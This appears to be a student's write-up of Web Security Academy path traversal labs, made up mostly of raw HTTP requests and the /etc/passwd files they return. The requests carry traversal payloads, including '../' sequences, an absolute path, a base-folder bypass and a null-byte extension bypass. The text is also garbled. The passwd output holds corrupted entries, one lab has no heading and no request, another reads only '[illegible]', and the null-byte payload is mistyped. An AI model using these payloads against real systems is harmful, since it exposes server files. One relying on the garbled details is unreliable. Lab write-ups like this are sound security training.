

PATH TRAVERSAL

LAB 34 File path traversal, simple case

This lab is vulnerable to pass traversal. I tried to play around with productid parameter in the URL but I wasn't successful. Then, I intercepted a packet that fetches product file image and changed the value of the parameter to ../etc/passwd using Burp Repeater and was walking upwards until I get contents of /etc/passwd file:

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
<pre>1 GET /image?file=../etc/passwd HTTP/2 2 Host: Da5005d01e3742283ad489c00f800b.web-security-academy.net 3 Cookie: session=atYhb3Q8w7m7m5pab83G8k4K15sd 4 Sec-Ch-Ua: "Not A Brand";v="8", "Chromium";v="120" 5 Sec-Ch-Ua-Mobile: 0 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.109 Safari/537.36 7 Sec-Ch-Ua-Platform: "Windows" 8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Dest: image 12 Referer: https://Da5005d01e3742283ad489c00f800b.web-security-academy.net/product?productID=1 13 14 Accept-Encoding: gzip, deflate, br 15 Accept-Language: en-US,en;q=0.9 16 17</pre>			<pre>1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:MailManager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:gnats:Bug-Reporting System (admin):/var/lib/bugzilla:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/:/home/peter:/bin/bash 26 carlos:x:12002:12002:/:/home/carlos:/bin/bash 27 user:x:12003:12003:/:/home/user:/bin/bash 28 elmer:x:12098:12098:/:/home/elmer:/bin/bash 29 academy:x:10000:10000:/:/academy:/bin/bash 30 memnaghus:x:101:101:/:/nonexistent:/usr/sbin/nologin 31 domengio:x:102:65534:domengio,/,/var/lib/macos:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,/,/run/systemd:/usr/sbin/nologin 33 systemd-network:x:104:103:systemd Network Management,/,/run/systemd:/usr/sbin/nologin 34 systemd-resolve:x:105:106:systemd Resolver,/,/run/systemd:/usr/sbin/nologin 35 nsglx:x:106:107:MySQL Server,/,/nonexistent:/bin/false 36 postgres:x:107:110:PostgreSQL administrator,,/var/lib/postgresql:/bin/bash 37 usbmux:x:108:46:usbmuxd daemon,,/var/lib/usbmux:/usr/sbin/nologin</pre>		

Lab completed!

Congratulations, you solved the lab!

LAB 35 File path traversal, traversal sequences blocked with absolute path bypass

In this lab, naïve path traversal won't work because server uses absolute paths for file names and we cannot really break out of the directory with image files, so I would use simple /etc/passwd absolute path and pass it as parameter:

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
<pre>1 GET /image?file=/etc/passwd HTTP/2 2 Host: Da1000ad210e475038873b00100073.web-security-academy.net 3 Cookie: session=8uacFA7u03u0tLIuV5G0y0Y0wH 4 Sec-Ch-Ua: "Not A Brand";v="8", "Chromium";v="120" 5 Sec-Ch-Ua-Mobile: 0 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.109 Safari/537.36 7 Sec-Ch-Ua-Platform: "Windows" 8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Dest: image 12 Referer: https://Da1000ad210e475038873b00100073.web-security-academy.net/product?productID=3 13 14 Accept-Encoding: gzip, deflate, br 15 Accept-Language: en-US,en;q=0.9 16 Priority: u=1, i 17</pre>			<pre>7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:MailManager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:gnats:Bug-Reporting System (admin):/var/lib/bugzilla:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/:/home/peter:/bin/bash 26 carlos:x:12002:12002:/:/home/carlos:/bin/bash 27 user:x:12003:12003:/:/home/user:/bin/bash 28 elmer:x:12098:12098:/:/home/elmer:/bin/bash 29 academy:x:10000:10000:/:/academy:/bin/bash 30 memnaghus:x:101:101:/:/nonexistent:/usr/sbin/nologin 31 domengio:x:102:65534:domengio,/,/var/lib/macos:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,/,/run/systemd:/usr/sbin/nologin 33 systemd-network:x:104:103:systemd Network Management,/,/run/systemd:/usr/sbin/nologin 34 systemd-resolve:x:105:106:systemd Resolver,/,/run/systemd:/usr/sbin/nologin 35 nsglx:x:106:107:MySQL Server,/,/nonexistent:/bin/false 36 postgres:x:107:110:PostgreSQL administrator,,/var/lib/postgresql:/bin/bash 37 usbmux:x:108:46:usbmuxd daemon,,/var/lib/usbmux:/usr/sbin/nologin 38 nsglx:x:109:115:ReactflowEditor,,/proc:/usr/sbin/nologin 39 nsglx:x:110:117:/:/var/lib/mongodb:/usr/sbin/nologin 40 nsglx:x:111:118:Avahi mDNS daemon,,/var/run/avahi-daemon:/usr/sbin/nologin 41 cuser:pb-helpe:x:112:110:use:for:cupe:pb-helpe:services,,/home/cuser:pb-helpe:/usr/sbin/nologin 42 gncolour:x:113:120:/:/var/lib/gncolour:/usr/sbin/nologin 43 nsglx:x:114:121:/:/var/lib/nsglx:/usr/sbin/nologin 44 nsglx:x:115:123:colored colour management daemon,,/var/lib/colord:/usr/sbin/nologin 45 nsglx:x:116:124:PulseAudio daemon,,/var/run/pulse:/usr/sbin/nologin</pre>		

Congratulations, you solved the lab!

This lab has a protection from path traversal so that strings of file names are parsed and whenever “../” occurs, the string is stripped. To bypass this, I will traverse the path with “....//” instead, so after deletion of “../”, the combination will preserve:

Lab's done!

LAB 37 File path traversal, traversal sequences stripped with superfluous URL-decode

[illegible]

Congratulations, you solved the lab!

LAB 38 File path traversal, validation of start of path

In this lab, service requires the user-defined file name to start from a certain base folder, in this case it was `/var/www/images`:

```
net/image?filename=/var/www/images/16.jpg
```

So, path traversal can be done as follows:

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
<pre>1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2 2 Host: DaF300b703a76b4083eeef000030023.web-security-academy.net 3 Cookie: session=Umlj3xcQpD0e7ldent8bFL0Mhlnu8Kcx 4 Sec-Ch-Ua: "Not_A_Brand";v="8", "Chromium";v="120" 5 Sec-Ch-Ua-Mobile: ?0 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36 7 Sec-Ch-Ua-Platform: "Windows" 8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Dest: image 12 Referer: https://DaF300b703a76b4083eeef000030023.web-security-academy.net/product?productId=2 13 Accept-Encoding: gzip, deflate, br 14 Accept-Language: en-US,en;q=0.9 15 Priority: u=2, i 16 17</pre>			<pre>1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:5:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Maillog List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/home/peter:/bin/bash 26 carlow:x:12002:12002:/home/carlow:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,,/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin 33 systemd-network:x:104:105:systemd Network Management,,:/run/systemd:/usr/sbin/nologin 34 systemd-resolve:x:105:106:systemd Resolver,,:/run/systemd:/usr/sbin/nologin 35 mysql:x:106:107:MySQL Server,,/nonexistent:/bin/false 36 postgres:x:107:110:PostgreSQL administrator,,/var/lib/postgresql/bin/bash 37 usbmux:x:108:46:usbmux daemon...:/var/lib/usbmux:/usr/sbin/nologin</pre>		

Lab's done!

Congratulations, you solved the lab!

LAB 39 File path traversal, validation of file extension with null byte bypass

In this lab, filenames are checked that they end with an image extension (.jpg, .png). So, to make a successful attack, I will inject a null byte, following with file extension in the end. This will truncate the result to `/etc/passwd` even though it ends on .png

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
<pre>1 GET /image?filename=../../../../etc/passwd00.png HTTP/2 2 Host: DaFw00ac04ef445a81c49b500cf00a0.web-security-academy.net 3 Cookie: session=qg5B3u2n4b7vndU70xw5a2vFvR2p2uQ 4 Sec-Ch-Ua: "Not_A_Brand";v="8", "Chromium";v="120" 5 Sec-Ch-Ua-Mobile: ?0 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36 7 Sec-Ch-Ua-Platform: "Windows" 8 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Dest: image 12 Referer: https://DaFw00ac04ef445a81c49b500cf00a0.web-security-academy.net/product?productId=2 13 Accept-Encoding: gzip, deflate, br 14 Accept-Language: en-US,en;q=0.9 15 Priority: u=2, i 16 17</pre>			<pre>1 HTTP/2 200 OK 2 Content-Type: image/png 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2316 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20 list:x:38:38:Maillog List Manager:/var/list:/usr/sbin/nologin 21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22 gnats:x:41:41:gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24 _apt:x:100:65534:/:/nonexistent:/usr/sbin/nologin 25 peter:x:12001:12001:/home/peter:/bin/bash 26 carlow:x:12002:12002:/home/carlow:/bin/bash 27 user:x:12000:12000:/home/user:/bin/bash 28 elmer:x:12099:12099:/home/elmer:/bin/bash 29 academy:x:10000:10000:/academy:/bin/bash 30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin 31 dnsmasq:x:102:65534:dnsmasq,,/var/lib/misc:/usr/sbin/nologin 32 systemd-timesync:x:103:103:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin 33 systemd-network:x:104:105:systemd Network Management,,:/run/systemd:/usr/sbin/nologin 34 systemd-resolve:x:105:106:systemd Resolver,,:/run/systemd:/usr/sbin/nologin 35 mysql:x:106:107:MySQL Server,,/nonexistent:/bin/false 36 postgres:x:107:110:PostgreSQL administrator,,/var/lib/postgresql/bin/bash 37 usbmux:x:108:46:usbmux daemon...:/var/lib/usbmux:/usr/sbin/nologin</pre>		

Congratulations, you solved the lab!